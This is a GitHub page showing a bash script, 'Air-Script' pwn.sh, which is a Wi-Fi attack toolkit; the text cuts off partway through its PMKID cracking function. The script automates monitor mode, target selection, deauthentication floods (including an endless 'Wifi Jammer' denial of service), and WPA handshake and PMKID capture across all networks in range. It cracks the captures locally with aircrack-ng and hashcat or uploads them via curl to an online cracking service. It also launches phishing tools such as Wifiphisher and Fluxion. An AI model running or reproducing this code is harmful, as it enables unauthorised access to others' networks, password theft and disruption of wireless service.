-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathpwn.sh
1534 lines (1229 loc) · 43.9 KB
/
pwn.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
# Ensure we are being ran as root
if [ $(id -u) -ne 0 ]; then
echo "This script must be ran as root"
exit 1
fi
network () {
echo "Please, select a network interface:"
cd /sys/class/net && select foo in *; do echo $foo selected $foo; break; done
airmon-ng start $foo > /dev/null 2>&1
echo "Please, select the interface in monitor mode:"
cd /sys/class/net && select foo in *; do echo $foo selected $foo; break; done
cd /home/*/air-script
}
chmod -R 755 *
sudo postfix start > /dev/null 2>&1
sudo systemctl start postfix > /dev/null 2>&1
clear
Red="\e[1;91m" ##### Colors Used #####
Green="\e[0;92m"
Yellow="\e[0;93m"
Blue="\e[1;94m"
White="\e[0;97m"
handshakeWait=2 ##### Time, how long aircack-ng waits for handshake in minute #####
checkDependencies () { ##### Check if aircrack-ng is installed or not #####
if [ $(dpkg-query -W -f='${Status}' aircrack-ng 2>/dev/null | grep -c "ok installed") -eq 0 ]; then
echo "Installing aircrack-ng\n\n"
apt-get install -y aircrack-ng;
fi
}
checkWiFiStatus () { ##### Check if $foo is enabled or not #####
WiFiStatus=`nmcli radio wifi`
if [ "$WiFiStatus" == "disabled" ]; then
nmcli radio wifi on
echo -e "[${Green}$foo${White}] Enabled!"
fi
#stopMon > /dev/null 2>&1
checkServices > /dev/null 2>&1
}
checkServices () {
sudo systemctl restart postfix > /dev/null 2>&1
sudo postfix restart > /dev/null 2>&1
sudo systemctl restart postfix > /dev/null 2>&1
sudo systemctl start postfix > /dev/null 2>&1
sudo postfix start > /dev/null 2>&1
sudo systemctl start postfix > /dev/null 2>&1
}
banner () { ##### Banner #####
echo -e "${Red} __ __ __ __ __ ___ "
echo -e "${Red} /\ | |__) /__\` / \` |__) | |__) | "
echo -e "${Red} /~~\\ | | \\ .__/ \\__, | \\ | | | "
#echo -e "${Yellow} \n Hack the world!!! "
echo -e "${Green}\n [Version: 2.0.9 Stable] Developed by: Liam Bendix"
}
menu () { ##### Display available options in two columns #####
echo -e "\n${Yellow} [ Select Option To Continue ]\n\n"
# First column
echo -e " ${Red}[${Blue}1${Red}] ${Green}Hack Wifi ${Red}[${Blue}6${Red}] ${Green}View log file"
echo -e " ${Red}[${Blue}2${Red}] ${Green}Decrypt Password(s) ${Red}[${Blue}7${Red}] ${Green}Extra Tools"
echo -e " ${Red}[${Blue}3${Red}] ${Green}Wifi Jammer ${Red}[${Blue}8${Red}] ${Green}Help"
echo -e " ${Red}[${Blue}4${Red}] ${Green}Change MAC Address ${Red}[${Blue}9${Red}] ${Green}Exit"
echo -e " ${Red}[${Blue}5${Red}] ${Green}Change IP Address\n"
while true; do
echo -e "${Green}┌─[${Red}Select Option${Green}]──[${Red}~${Green}]─[${Yellow}Menu${Green}]:"
read -p "└─────►$(tput setaf 7) " option
case $option in
1) echo -e "\n[${Green}Selected${White}] Option 1 Hack A Wifi Network.."
wifiHacking
;;
2) echo -e "\n[${Green}Selected${White}] Option 2 Decrypt Password(s).."
crack
exit 0
;;
3) echo -e "\n[${Green}Selected${White}] Option 3 Wifi Jammer..."
wifiJammer
exit 0
;;
4) echo -e "\n[${Green}Selected${White}] Option 4 Changing MAC Address..."
macChange
exit 0
;;
5) echo -e "\n[${Green}Selected${White}] Option 5 Anonsurf..."
anonsurf
exit 0
;;
6) echo -e "\n[${Green}Selected${White}] Option 6 View log of cracked networks..."
log
exit 0
;;
7) echo -e "\n[${Green}Selected${White}] Option 7 Extra Tools..."
tools
exit 0
;;
8) echo -e "\n[${Green}Selected${White}] Option 8 Help..."
Help
exit 0
;;
9) echo -e "${Red}\n\033[1mThank You for using the script,\nHappy Hacking :)\n"
exit 0
;;
*) echo -e "${White}[${Red}Error${White}] Please select correct option...\n"
;;
esac
done
}
wifiHacking () { ##### Sending DeAuth and capture handshake #####
##### Display available options #####
echo -e "\n${Yellow} [ Select Option To Continue ]\n\n"
echo -e " ${Red}[${Blue}1${Red}] ${Green}Air-Script Attacks"
echo -e " ${Red}[${Blue}2${Red}] ${Green}Fluxion Attacks"
echo -e " ${Red}[${Blue}3${Red}] ${Green}Wifite Attacks"
echo -e " ${Red}[${Blue}4${Red}] ${Green}Wifite2 Attacks"
echo -e " ${Red}[${Blue}5${Red}] ${Green}Wifiphisher Attacks"
echo -e " ${Red}[${Blue}6${Red}] ${Green}Fern Attacks"
echo -e " ${Red}[${Blue}7${Red}] ${Green}Airogeddon Attacks"
echo -e " ${Red}[${Blue}8${Red}] ${Green}Exit\n\n"
while true; do
echo -e "${Green}┌─[${Red}Select Option${Green}]──[${Red}~${Green}]─[${Yellow}Menu${Green}]:"
read -p "└─────►$(tput setaf 7) " option
case $option in
1) echo -e "\n[${Green}Selected${White}] Option 1 Air Script Attacks.."
AirScriptMenu
;;
2) echo -e "\n[${Green}Selected${White}] Option 2 Fluxion.."
FluxionMenu
exit 0
;;
3) echo -e "\n[${Green}Selected${White}] Option 3 Wifite.."
Wifite
exit 0
;;
4) echo -e "\n[${Green}Selected${White}] Option 4 Wifite2.."
Wifite2
exit 0
;;
5) echo -e "\n[${Green}Selected${White}] Option 5 Wifiphisher.."
StartWifiphisher
exit 0
;;
6) echo -e "\n[${Green}Selected${White}] Option 6 Fern.."
Fern
exit 0
;;
7) echo -e "\n[${Green}Selected${White}] Option 7 Airgeddon.."
airogeddon
exit 0
;;
8) echo -e "${Red}\n\033[1mThank You for using the script,\nHappy Hacking :)\n"
exit 0
;;
*) echo -e "${White}[${Red}Error${White}] Please select correct option...\n"
;;
esac
done
}
AirScriptMenu() { ##### Sending DeAuth and capture handshake #####
##### Display available options #####
echo -e "\n${Yellow} [ Select Option To Continue ]\n\n"
echo -e " ${Red}[${Blue}1${Red}] ${Green}Hack A Network"
echo -e " ${Red}[${Blue}2${Red}] ${Green}Hack All Networks"
echo -e " ${Red}[${Blue}3${Red}] ${Green}PMKID Attacks"
echo -e " ${Red}[${Blue}4${Red}] ${Green}Exit\n\n"
while true; do
echo -e "${Green}┌─[${Red}Select Option${Green}]──[${Red}~${Green}]─[${Yellow}Menu${Green}]:"
read -p "└─────►$(tput setaf 7) " option
case $option in
1) echo -e "\n[${Green}Selected${White}] Option 1 Hack A Network.."
AirScript
;;
2) echo -e "\n[${Green}Selected${White}] Option 2 Hack All Networks.."
attackAll
exit 0
;;
3) echo -e "\n[${Green}Selected${White}] Option 3 PMKID Attack.."
pmkid_all
exit 0
;;
4) echo -e "${Red}\n\033[1mThank You for using the script,\nHappy Hacking :)\n"
exit 0
;;
*) echo -e "${White}[${Red}Error${White}] Please select correct option...\n"
;;
esac
done
}
AirScript() {
notification
}
notification () {
while true; do
read -p "Do you want to recive email notifications when it's done pwning?" yn
case $yn in
[Yy]* ) attackYes; break;;
[Nn]* ) attackNo;;
* ) echo "Please answer yes or no.";;
esac
done
}
attackYes () {
echo "Enter your email address for notifications: " email
read email
echo "Remember to check your spam folder!"
sleep 3
network
monitor
airodump-ng --bssid $bssid --channel $channel --output-format pcap --write handshake $foo > /dev/null &
echo -e "[${Green}${foo}${White}] Sending DeAuth to target..."
xterm -e aireplay-ng --deauth 20 -a $bssid $foo
echo -e "[${Green}Status${White}] Checking for Handshake Packet..."
check_cap_files
sleep 3
pkill -9 xterm
echo "Handshakes have been captured!" | mail -s "Networks Pwned!" $email
#crack
}
attackNo () {
network
monitor
airodump-ng --bssid $bssid --channel $channel --output-format pcap --write handshake $foo > /dev/null &
echo -e "[${Green}${foo}${White}] Sending DeAuth to target..."
xterm -e aireplay-ng --deauth 20 -a $bssid $foo
echo -e "[${Green}Status${White}] Checking for Handshake Packet..."
check_cap_files
pkill -9 xterm
#crack
}
wordlist () { ##### Enter path to wordlist or use default #####
read -p $'[\e[0;92mInput\e[0;97m] Path to wordlist (Press enter to use default): ' fileLocation
if [ -z "$fileLocation" ]; then
fileLocation="${parameter:-dictionary/defaultWordList.txt}"
return 0
elif [[ -f "$fileLocation" ]]; then
return 0
fi
echo -e "[${Red}!$White] File doesn't exist..."
wordlist
}
notification1 () {
while true; do
read -p "Do you want to recive email notifications when it's done pwning?" yn
case $yn in
[Yy]* ) attackAllYes; break;;
[Nn]* ) attackAllNo;;
* ) echo "Please answer yes or no.";;
esac
done
}
attackAll() {
notification1
}
attackAllYes() {
echo "Enter your email address for notifications: "
read email
sleep 3
echo "Remember to check your spam folder!"
network
clear
# Run Besside-ng to capture handshakes from all Wi-Fi networks in range
echo -e "${Green}Starting Besside-ng to capture WPA handshakes from all networks in range..."
besside-ng $foo
# Once Besside-ng completes (or captures a handshake), it will stop and output results
echo -e "${Green}Handshakes capture complete. Saved in ~/handshakes/"
stopMon
echo "Handshakes have been captured!" | mail -s "Networks Pwned!" $email
crack
}
attackAllNo () {
network
# Run Besside-ng to capture handshakes from all Wi-Fi networks in range
echo -e "${Green}Starting Besside-ng to capture WPA handshakes from all networks in range..."
besside-ng $foo
# Once Besside-ng completes (or captures a handshake), it will stop and output results
echo -e "${Green}Handshakes capture complete. Saved in ~/handshakes/"
stopMon
crack
}
crack () {
checkServices
stopMon
sleep 2
echo "Handshakes have been captured!" | mail -s "Networks Pwned!" $email > /dev/null 2>&1
# Check if there are any .cap files in the current directory
if ! ls *.cap &>/dev/null; then
# If no .cap files found, change to /handshakes directory without output
cd handshakes &>/dev/null
fi
crack_hashes
}
crack_hashes() {
echo "Do you want to crack hashes from your device or from the web?"
select method in "Local (Device)" "Upload (WPA-Sec)"; do
case $method in
"Local (Device)")
# Local cracking with Hashcat or other methods (you can extend this part)
echo "You have selected local cracking."
echo "Your current directory:"
pwd
ls *.txt &>/dev/null
read -p "Enter path to wordlist : " wordlist
sudo aircrack-ng -w "$wordlist" *.cap
cleanup_handshakes
exit
;;
"Upload (WPA-Sec)")
# Ask for the user's email for cracking (optional, based on the site)
echo "Please provide your email for WPA-Sec service:"
read -p "Email: " user_email
if [[ -z "$user_email" ]]; then
echo "Email cannot be empty. Exiting."
exit 1
fi
# Ask for the path to the .cap file
echo "Please provide the path to your .cap file:"
echo "Your current directory:"
pwd
ls *.cap
read -p "Path to .cap file: " cap_file
# Check if the file exists
if [[ ! -f "$cap_file" ]]; then
echo "File not found. Exiting."
exit 1
fi
# Ensure user agrees to terms and conditions (optional, based on the site)
echo "Please agree to the Terms & Conditions by typing 'yes':"
read agreement
if [[ "$agreement" != "yes" ]]; then
echo "You must agree to the terms to continue. Exiting."
exit 1
fi
key_file="/home/*/air-script/key.txt"
if [[ ! -f "$key_file" ]]; then
echo "key.txt file not found. Exiting."
exit 1
fi
# Get the key from key.txt using the correct path
key=$(cat "$key_file")
# Check if the key is empty
if [[ -z "$key" ]]; then
echo "Key in key.txt is empty. Exiting."
exit 1
fi
# Upload to WPA-Sec
echo "Uploading $cap_file to WPA-Sec..."
response=$(curl --progress-bar -X POST "https://wpa-sec.stanev.org/?submit" \
-F "email=$user_email" \
-F "file=@$cap_file" \
-F "key=$key" \
-F "submit=Submit")
# Output the response status code and body for debugging
echo "Response: $response"
echo "This capture is legacy but will still work..."
echo "Handshakes have been successfully submitted. If a password is found you will receive an email."
# Check the response to determine if submission was successful
if [[ "$response" == *"Cracking started"* ]]; then
echo "Cracking request submitted successfully."
else
echo "Error submitting your request. Please try again. Response: $response"
exit 1
fi
break
;;
*)
echo "Invalid option. Please select either 'Local' or 'Upload'."
;;
esac
done
}
cleanup () {
sudo rm -f *.csv > /dev/null 2>&1
sudo rm -f *.netxml > /dev/null 2>&1
sudo rm -f airodump_output.log > /dev/null 2>&1
sudo rm -f *.ivs > /dev/null 2>&1
sudo rm -f *.hc22000 > /dev/null 2>&1
sudo rm -f essidlist > /dev/null 2>&1
cleanup_handshakes
sudo mv *pcapng /handshakes > /dev/null 2>&1
}
cleanup_handshakes() {
# Define the directory path explicitly
local script_dir="/home/superuser/air-script" # Adjust the path to your actual script location
# Ensure you're in the correct directory
if [ ! -d "$script_dir/handshakes" ]; then
echo "Creating handshakes directory..."
mkdir -p "$script_dir/handshakes"
fi
echo "Renaming and moving .cap files to handshakes folder..."
# Change to the script directory
cd "$script_dir" || { echo "Failed to change directory to $script_dir"; exit 1; }
for cap_file in *.cap; do
if [ -f "$cap_file" ]; then
timestamp=$(date +"%Y-%m-%d_%H-%M-%S")
new_file="handshakes/${timestamp}_$(basename "$cap_file")"
mv "$cap_file" "$new_file"
fi
done
echo "Cleanup complete. All .cap files renamed and moved to handshakes."
}
FluxionMenu() {
cd /home/*/air-script/tools
cd fluxion
sudo ./fluxion.sh
}
Wifite () {
sudo wifite
}
Wifite2 () {
wifite
cd /home/*/air-script/tools
cd wifite2
sudo ./Wifite.py
}
StartWifiphisher () {
wifiphisher
}
Fern () {
sudo fern-wifi-cracker
}
airogeddon () {
cd /home/*/air-script/tools
cd airgeddon
sudo bash airgeddon.sh
}
wifiJammer () { ##### Sending unlimited DeAuth #####
monitor
airodump-ng --bssid $bssid --channel $channel $foo > /dev/null & sleep 5 ; kill $!
echo -e "[${Green}${targetName}${White}] DoS started, all devices disconnected... "
sleep 0.5
echo -e "[${Green}DoS${White}] Press ctrl+c to stop attack & exit..."
aireplay-ng --deauth 0 -a $bssid $foo > /dev/null
}
# Function to capture MAC addresses and process them
captureMAC() {
# Ensure the script is running with root privileges
if [ "$(id -u)" -ne 0 ]; then
echo "This script must be run as root"
return 1
fi
# Parse input arguments
while getopts "c:b:f:" opt; do
case "$opt" in
c) channel="$OPTARG" ;;
b) bssid="$OPTARG" ;;
f) foo="$OPTARG" ;;
*) echo "Usage: $0 -c <channel> -b <BSSID> -f <interface>"; return 1 ;;
esac
done
# Validate input parameters
if [ -z "$channel" ] || [ -z "$bssid" ] || [ -z "$foo" ]; then
echo "Usage: $0 -c <channel> -b <BSSID> -f <interface>"
return 1
fi
# Check if the provided interface is already in monitor mode
if ! iw dev "$foo" info | grep -q "type monitor"; then
echo "$foo is not in monitor mode. Please make sure the interface is in monitor mode."
return 1
fi
# Create a temporary capture file to store output
capture_file="capture_$bssid"
# Start airodump-ng with timeout handling
echo "Capturing data on channel $channel for AP $bssid using interface $foo..."
# Print the interface status for debugging
iw dev "$foo" info
# Start airodump-ng in the background and capture its process ID
airodump-ng --channel "$channel" --bssid "$bssid" --write "$capture_file" "$foo" > airodump_output.log 2>&1 &
airodump_pid=$!
# Wait for 30 seconds before killing the process
sleep 30
# Check if airodump-ng is still running, and kill it if necessary
if kill -0 $airodump_pid 2>/dev/null; then
echo "Timeout reached. Killing airodump-ng process..."
kill $airodump_pid
else
echo "airodump-ng process already completed."
fi
# Wait for airodump-ng to terminate (if not already terminated)
wait $airodump_pid
# Check if airodump-ng successfully created a capture file
if [ ! -f "${capture_file}-01.csv" ]; then
echo "Failed to capture any data or the capture file does not exist."
echo "Check the log file airodump_output.log for errors."
return 1
fi
# Extract the MAC addresses of connected clients and stations
echo "Extracting client and station MAC addresses associated with BSSID $bssid..."
# Extract station MAC addresses using grep and awk (station list from CSV file)
echo "Station MAC addresses:"
awk -F, -v bssid="$bssid" '$1 == bssid {print $1}' "${capture_file}-01.csv" | grep -oE '([[:xdigit:]]{2}:){5}[[:xdigit:]]{2}' | sort | uniq
# Extract associated client MAC addresses using grep and awk (client list from CSV file)
echo "Client MAC addresses:"
awk -F, -v bssid="$bssid" '$1 == bssid {print $1}' "${capture_file}-01.csv" | grep -oE '([[:xdigit:]]{2}:){5}[[:xdigit:]]{2}' | sort | uniq | while read client; do
echo "Client MAC: $client"
done
# Clean up capture files
# rm -f "${capture_file}"*
echo "Script completed successfully. Monitor mode was not disabled."
}
# Example usage of the captureMAC function
# You would call the function with the correct parameters like this:
# captureMAC -c 11 -b 94:6A:77:2D:2A:6E -f wlan0
# Example usage of the captureMAC function
# You would call the function with the correct parameters like this:
# captureMAC -c 6 -b XX:XX:XX:XX:XX:XX -f wlan0
monitor() {
#foo="wlan0" # Example interface, replace with the correct one if needed
airmon-ng check kill
# Check if the interface exists
if ! iwconfig $foo > /dev/null 2>&1; then
echo "Interface $foo not found. Please check your device."
exit 1
fi
# Start monitor mode (check if this works before continuing)
# echo "Starting monitor mode on $foo..."
# airmon-ng start $foo > /dev/null 2>&1
# if [ $? -ne 0 ]; then
# echo "Failed to start monitor mode on $foo. Please check your device."
# exit 1
#fi
# Start monitor mode (check if this works before continuing)
echo -e "\e[32m[Starting monitor mode on $foo...]\e[0m"
airmon-ng start $foo > /dev/null 2>&1
if [ $? -ne 0 ]; then
echo -e "\e[31mFailed to start monitor mode on $foo. Please check your device.\e[0m"
exit 1
fi
# Set up a cleanup trap
trap "airmon-ng stop $foo > /dev/null; rm -f generated-01.kismet.csv handshake-01.cap 2> /dev/null" EXIT
# Run airodump-ng in background and redirect output
echo "Starting airodump-ng scan on $foo..."
airodump-ng --output-format kismet --write generated $foo > /dev/null &
airodump_pid=$! # Capture PID of airodump-ng
sleep 20
# Check if the airodump-ng process is still running
if ps -p $airodump_pid > /dev/null; then
echo "Killing airodump-ng process..."
kill $airodump_pid
else
echo "airodump-ng process already stopped."
fi
# Check if the CSV file was created
if [ ! -f "generated-01.kismet.csv" ]; then
echo "Error: generated-01.kismet.csv not found. Is airodump-ng running correctly?"
exit 1
fi
# Remove the header from the CSV
sed -i '1d' generated-01.kismet.csv
# Debugging: Print out the first few rows of the CSV to ensure we're capturing the correct columns
echo -e "\n\n${Red}CSV Raw Data (First 5 lines)${White}:"
head -n 5 generated-01.kismet.csv
# Print the available networks (SSID and BSSID) for the user to select
echo -e "\n\n${Red}SerialNo WiFi Network${White}"
awk -F ";" '{gsub(/^[ \t]+|[ \t]+$/, "", $3); gsub(/^[ \t]+|[ \t]+$/, "", $4); print NR, $3, $4}' generated-01.kismet.csv | nl -n ln -w 8
# Get the number of networks in the file
total_networks=$(wc -l < generated-01.kismet.csv)
if [ -z "$total_networks" ] || [ "$total_networks" -eq 0 ]; then
echo "No networks found. Please check if airodump-ng is running correctly."
exit 1
fi
# Prompt user to select a target network
targetNumber=1000
while [ ${targetNumber} -gt ${total_networks} ] || [ ${targetNumber} -lt 1 ]; do
echo -e "\n${Green}┌─[${Red}Select Target${Green}]──[${Red}~${Green}]─[${Yellow}Network${Green}]:"
read -p "└─────►$(tput setaf 7) " targetNumber
done
# Extract network details using awk with whitespace handling
targetName=$(awk -F ';' "NR==${targetNumber} {print \$3}" generated-01.kismet.csv | xargs)
bssid=$(awk -F ';' "NR==${targetNumber} {print \$4}" generated-01.kismet.csv | xargs)
channel=$(awk -F ';' "NR==${targetNumber} {print \$6}" generated-01.kismet.csv | xargs)
# Output the selected target
echo -e "\n${Green}You have selected the following network:${White}"
echo -e "${Green}SSID:${White} ${targetName}"
echo -e "${Green}BSSID:${White} ${bssid}"
echo -e "${Green}Channel:${White} ${channel}"
# Set the wifi card to the target channel
sudo iwconfig $foo channel $channel
# Check if BSSID is empty, and alert the user if necessary
if [ -z "$bssid" ]; then
echo -e "${Red}Error: Invalid BSSID. Please try again with a valid target network.${White}"
exit 1
fi
# Clean up the CSV file
rm generated-01.kismet.csv 2> /dev/null
# Confirm that we are preparing for the attack
echo -e "\n[${Green}${targetName}${White}] Preparing for attack..."
}
networkselect () {
echo "Please, select a network interface:"
cd /sys/class/net && select foo in *; do echo $foo selected $foo; break; done
}
# Function to check if EAPOL frames exist in a .cap file
check_eapol_in_cap() {
local cap_file=$1
if tshark -r "$cap_file" -Y "eapol" | grep -q "EAPOL"; then
echo "EAPOL data found in $cap_file"
return 0
else
echo "No EAPOL data found in $cap_file"
return 1
fi
}
# Function to check if .cap files exist and verify EAPOL frames
check_cap_files() {
# Clear the screen
#clear
# Check if any .cap files exist in the current directory
if ls *.cap &> /dev/null; then
# .cap files are present
echo -e "\e[32m[SUCCESS] .cap files found.\e[0m" # Green text
# Loop through each .cap file to check for EAPOL frames
for cap_file in *.cap; do
echo -e "\nChecking $cap_file for EAPOL frames..."
if check_eapol_in_cap "$cap_file"; then
echo -e "\e[32m[EAPOL Found]\e[0m Proceeding with cracking."
# Turn off monitor mode silently
echo "Turning off monitor mode..."
sudo airmon-ng stop wlan0mon > /dev/null 2>&1
sudo airmon-ng stop wlp7s0mon > /dev/null 2>&1
sudo systemctl start NetworkManager > /dev/null 2>&1
echo "Handshakes have been captured!" | mail -s "Networks Pwned!" $email > /dev/null 2>&1
# Now proceed with cracking
crack "$cap_file" # Assuming 'crack' is a function that accepts the file
return 0 # Stop after finding a valid file with EAPOL
else
echo -e "\e[31m[EAPOL Not Found]\e[0m Skipping file."
fi
done
# If no valid .cap files with EAPOL are found, exit
echo -e "\e[31mNo valid .cap files with EAPOL data found. 0 Handshakes captured. Trying again...\e[0m"
deauthAttack
else
# No .cap files found
echo -e "\e[31m[FAILED] No .cap files found.\e[0m" # Red text
sleep 3
deauthAttack
fi
}
deauthAttack () {
sudo airodump-ng --bssid $bssid --channel $channel --output-format pcap --write handshake $foo > /dev/null &
recon
sleep 4
xterm -e aireplay-ng -0 50 -a $bssid -c $client $foo
sleep 2
check_cap_files
}
recon() {
retries=0
max_retries=5 # Define the number of retries
client_found=false # Flag to check if client is found
while [ $retries -lt $max_retries ]; do
echo -e "\e[32m[Scanning for clients...]\e[0m" # Green text for scanning message
# Start airodump-ng with sudo for permission
xterm -hold -e "sudo airodump-ng --bssid $bssid --channel $channel --output-format csv --write client $foo && sleep 60 && exit" > /dev/null 2>&1 &
# Allow 60 seconds for the capture file to populate (increased wait time)
echo "Waiting for 60 seconds for airodump to capture data..."
sleep 60
# Check if the capture CSV file exists and contains data
if [ ! -f "client-01.csv" ]; then
echo -e "\e[31mError: client-01.csv not found. Airodump-ng may not have captured any data.\e[0m"
retries=$((retries + 1))
echo -e "\e[31m[Retrying... ($retries/$max_retries)]\e[0m"
sleep 5 # Delay before retrying
continue
fi
# Remove lines that match the BSSID from the client-01.csv file and save to a temporary file using awk
echo -e "\e[32m[Filtering out BSSID from client-01.csv...]\e[0m"
awk -F',' -v bssid="$bssid" '
BEGIN {
print_header = 1
}
{
if (print_header) {
print $0
print_header = 0
} else if ($1 != bssid && $1 != "Station MAC" && $1 != "" && length($1) == 17) {
print $0
}
}' client-01.csv > client_filtered.csv
# Extract the client MAC addresses from the filtered CSV file
echo -e "\e[32m[Client MAC addresses found in client_filtered.csv]:\e[0m"
# Read through the filtered CSV file to find client MACs
while IFS=',' read -r station_mac first_time last_time power packet_count bssid probed_essid; do
# Skip the header or rows with empty station_mac, and ensure it's not the BSSID
if [[ -n "$station_mac" && "$station_mac" != "Station MAC" && "$station_mac" != "$first_time" && "$station_mac" != "$bssid" && "${#station_mac}" == 17 ]]; then
client=$station_mac # Correctly assign to $client
client_found=true
echo -e "\e[32m[Client found: $client]\e[0m" # Green text for client found
break
fi
done < <(tail -n +2 client_filtered.csv) # Skip header row using tail
# If client found, break out of the retry loop
if [ "$client_found" = true ]; then
break # Exit the loop after client is found
else
retries=$((retries + 1))
echo -e "\e[31m[Retrying... ($retries/$max_retries)]\e[0m"
sleep 5 # Delay before retrying
fi
done
# If no client is found after max retries, exit with an error
if [ "$client_found" = false ]; then
echo -e "\e[31m[Failed to capture client after $max_retries retries. Exiting...]\e[0m"
rm client_filtered.csv
exit 1
fi
# Now handle the .cap file
echo "Waiting for capture file to be available..."
# Check for any .cap file in the directory (not just client-01.cap)
for ((i=0; i<5; i++)); do
# List files in the directory for debugging
echo "Listing .cap files in the directory..."
ls *.cap
# Check if any .cap file exists
if ls *.cap 1> /dev/null 2>&1; then
# Move the first .cap file found
cap_file=$(ls *.cap | head -n 1)
sudo mv "$cap_file" client.cap
echo -e "\e[32m[Capture file renamed to client.cap]\e[0m"
break
else
echo "Capture file not found, retrying... ($((i+1))/5)"
sleep 3 # Delay before retrying
fi
done
# Check if the file was successfully renamed
if [ -f "client.cap" ]; then
echo -e "\e[32m[Capture file successfully renamed.]\e[0m"
else
echo -e "\e[31m[Error: .cap file not found after retries.]\e[0m"
exit 1
fi
}
############################################################################################
########PMKID###############################################################################
pmkid_all () {
# Call the function to select and set the interface into monitor mode
network
sudo systemctl stop NetworkManager.service
sudo systemctl stop wpa_supplicant.service
# Start the capture using hcxdumptool
echo "Starting capture using hcxdumptool..."
sudo hcxdumptool -i $foo -o dumpfile.pcapng --active_beacon --enable_status=15
# Convert the capture to a format usable by hashcat
echo "Converting capture to hccapx format..."
hcxpcapngtool -o hash.hc22000 -E essidlist dumpfile.pcapng
#cat essidlist
#monitor
# Crack the password using aircrack-ng and a wordlist
crackCAT
}
crackCAT () {
echo "Do you want to crack hashes from your device or from the web?"
select method in "Local (Device)" "Upload (WPA-Sec)"; do
case $method in
"Local (Device)")
# Local cracking with Hashcat or other methods (you can extend this part)
stopMon
echo "You have selected local cracking."
echo "Your current directory:"
pwd
ls *.txt
read -p "Enter path to wordlist : " wordlist
# Crack the password using aircrack-ng and a wordlist
echo "Attempting to crack the password..."
hashcat -m 22000 hash.hc22000 $wordlist
exit
;;
"Upload (WPA-Sec)")
stopMon
# Ask for the user's email for cracking (optional, based on the site)
echo "Please provide your email for WPA-Sec service:"
read -p "Email: " user_email
if [[ -z "$user_email" ]]; then
echo "Email cannot be empty. Exiting."
exit 1
fi
# Ask for the path to the .cap file
echo "Please provide the path to your .pcapng file:"
echo "Your current directory:"
pwd
ls *.pcapng
read -p "Path to .pcapng file: " capture_file
# Check if the file exists
if [[ ! -f "$capture_file.pcapng" ]]; then
echo "File not found. Exiting."
exit 1
fi
# Ensure user agrees to terms and conditions (optional, based on the site)
echo "Please agree to the Terms & Conditions by typing 'yes':"
read agreement
if [[ "$agreement" != "yes" ]]; then
echo "You must agree to the terms to continue. Exiting."
exit 1
fi
# Read the key from key.txt
if [[ ! -f "key.txt" ]]; then
echo "key.txt file not found. Exiting."
exit 1
fi
# Get the key from key.txt
key=$(cat key.txt)
